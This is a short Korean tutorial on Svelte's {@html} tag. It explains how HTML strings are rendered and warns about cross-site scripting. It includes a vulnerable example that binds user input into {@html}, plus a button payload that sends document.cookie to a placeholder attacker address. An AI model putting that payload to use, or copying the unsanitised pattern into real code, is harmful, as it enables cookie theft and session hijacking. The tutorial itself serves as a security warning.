[Svelte 튜토리얼] Part 1 - HTML tags

튜토리얼 링크

이번 튜토리얼에서는 HTML로 이루어진 문자열을 단순하게 텍스트로 추가하는 대신 HTML 요소로 생성해서 DOM에 추가하는 방법을 알려줍니다.

 

튜토리얼에 주어진 코드는 다음과 같습니다.

 

<script>
   let string = `this string contains some <strong>HTML!!!</strong>`;
</script>

<p>{string}</p>

 

변수 string에는 <strong>HTML!!!</strong>라는 HTML이 포함되어 있습니다.

이 문자열을 주어진 코드처럼 {string}으로 사용하면 HTML 요소가 단순한 텍스트로 나타나게 됩니다.
단순한 텍스트가 아닌 HTML 요소로써 DOM에 추가하는 방법으로 Svelte는 {@html expression} 형태의 문법을 제공합니다.

따라서 튜토리얼의 답은 다음과 같습니다.

 

<script>
  let string = `this string contains some <strong>HTML!!!</strong>`;
</script>

<p>{@html string}</p>

 

하지만 Svelte는 expression 자리에 들어가는 표현식을 DOM에 추가하기 전에 잘못된 형식을 점검하지 않아 잘못 동작하거나 크로스 사이트 스크립팅(XSS) 공격에 노출될 수 있습니다.

다음 코드는 잘못된 HTML 형식의 예시입니다.

 

<!-- 원하는 대로 동작하지 않음 -->
{@html "<div>"} contents {@html "</div>"}

 

위 코드는 HTML이 온전하지 않아 원하는 대로 동작하지 않습니다.

또한, 다음 코드를 살펴보겠습니다.

 

<script>
  let string = ``;
</script>

<input bind:value={string} />
<p>{@html string}</p>

 

이 코드는 {@html expression}문법을 사용하여 HTML 요소가 포함된 사용자의 입력을 화면에 나타내는 기능을 구현한 것입니다.

그런데, 만약 input 입력 창에
<button onClick=window.location="원하는주소/cookie?"+document.cookie>버튼</button>
을 입력하면 다음과 같은 버튼이 나타납니다.

나타난 버튼을 클릭하면 민감한 정보가 들어있을 수 있는 쿠키가 공격자가 원하는 주소에 리다이렉트 되면서 전달될 수 있게 됩니다.

이처럼 웹 사이트 관리자가 아님에도 웹 페이지에 스크립트를 삽입해 실행할 수 있게 되는 취약점을 크로스 사이트 스크립팅(XSS)이라고 합니다.

따라서 {@html expression} 문법을 사용할 때 이러한 점을 주의해서 사용해야 합니다.